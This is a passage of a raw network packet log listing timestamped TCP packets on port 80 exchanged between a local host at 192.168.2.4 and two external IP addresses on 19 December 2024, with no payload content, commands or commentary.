Dec 19, 2024 20:11:51.991641045 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.991745949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.991803885 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.992511988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.992568016 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.993431091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.993465900 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.993525028 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.993572950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.994223118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.994281054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.994338036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.994385004 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.995088100 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.995217085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.995268106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.995968103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.996252060 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.996304989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.996876955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.996931076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.997066975 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.997823954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.997880936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.997946024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.998519897 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.998564959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.998760939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.998809099 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.999403954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.999525070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.999577045 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.000297070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.000350952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.000391960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.001179934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.001224995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.001311064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.002087116 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.002136946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.002139091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.002185106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.002871037 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.002993107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.003042936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.003856897 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.003894091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.003943920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.004580021 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.004631996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.004775047 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.005532980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.005618095 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.005660057 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.006386995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.006443024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.006478071 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.006485939 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006529093 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.006691933 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006705999 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006719112 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006731033 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006742954 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006743908 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.006757975 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006804943 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.006844044 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006889105 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006902933 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.006928921 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.006936073 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.006977081 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.007225990 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.007364988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.007425070 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.008085012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.008209944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.008259058 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.008968115 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.009017944 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.009056091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.009901047 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.009953022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.010066032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.010515928 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.010690928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.010804892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.010857105 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.011568069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.011702061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.011748075 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.012579918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.012630939 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.012674093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.013303995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.013354063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.013396978 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.014218092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.014266968 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.014312029 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.014357090 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.015033007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.015109062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.015156984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.015908957 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.016047001 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.016102076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.016786098 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.016885042 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.017030954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.017668009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.017719030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.017761946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.018513918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.018532038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.018556118 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.018620014 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.019424915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.019474983 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.019479036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.020235062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.020282984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.020379066 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.020426989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.021141052 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.021244049 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.021292925 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.021944046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.022080898 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.022133112 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.022845030 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.022944927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.022994995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.023778915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.023832083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.023905039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.024646044 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.024699926 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.024796009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.025509119 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.025563002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.025641918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.025693893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.026354074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.026519060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.026527882 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.026576996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.027250051 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.027298927 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.027390957 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.027445078 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.028038025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.028090000 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.126439095 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.126496077 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.126524925 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.126553059 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.126589060 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.126621008 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.126625061 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.126650095 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.126693010 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.126704931 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.167440891 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:52.170628071 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:52.175306082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.175558090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.175648928 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.175657988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.175708055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.175760031 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.176203012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.176264048 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.176268101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.177046061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.177100897 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.177120924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.177942038 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.177999020 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.178061008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.178112030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.178766012 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.178895950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.178949118 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.179595947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.179732084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.179784060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.180509090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.180563927 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.180984974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.181694031 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.181710958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.181766033 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.181794882 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.182214022 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.182329893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.182396889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.183079958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.183335066 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.183386087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.184730053 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.184784889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.184804916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.185036898 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.185049057 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.185082912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.185101986 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.185770988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.185920954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.185983896 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.186646938 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.186850071 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.186923981 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.187515020 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.187567949 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.187674999 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.188344002 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.188405991 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.188422918 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.189184904 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.189244032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.189342976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.190021038 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.190087080 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.190130949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.190179110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.190931082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.190982103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.191040993 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.191761017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.191864014 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.191934109 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.192639112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.192691088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.192728043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.193553925 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.193603039 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.193658113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.194377899 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.194427013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.194592953 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.195225954 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.195275068 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.195333958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.195380926 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.196113110 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.196206093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.196254969 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.196969986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.197057962 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.197118044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.197845936 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.197921038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.198086023 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.198528051 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.198678017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.198730946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.198934078 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.199588060 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.199647903 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.199712992 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.200462103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.200517893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.200603008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.200656891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.201355934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.201483011 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.201575994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.202174902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.202305079 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.202384949 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.203053951 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.203145027 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.203226089 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.203937054 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.204050064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.204148054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.204822063 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.204884052 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.204921007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.205666065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.205728054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.205790997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.206511974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.206536055 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.206590891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.206614017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.206664085 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.207396984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.207456112 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.207509041 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.207559109 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.208278894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.208331108 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.208369017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.208417892 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.209378958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.209434986 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.209531069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.209611893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.209971905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.210026979 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.210062981 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.210109949 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.210865021 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.210952997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.211009979 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.211714983 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.211826086 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.211882114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.212585926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.212697029 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.212755919 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.213454008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.213581085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.213634014 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.214313984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.214415073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.214469910 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.215322018 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.215421915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.215477943 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.216221094 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.216275930 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.216327906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.217010021 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.217055082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.217077971 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.217094898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.217798948 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.217915058 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.217968941 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.218661070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.218713045 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.218770981 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.218818903 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.219533920 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.219583988 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.219630957 CET	80	49877	31.41.244.11	192.168.2.4
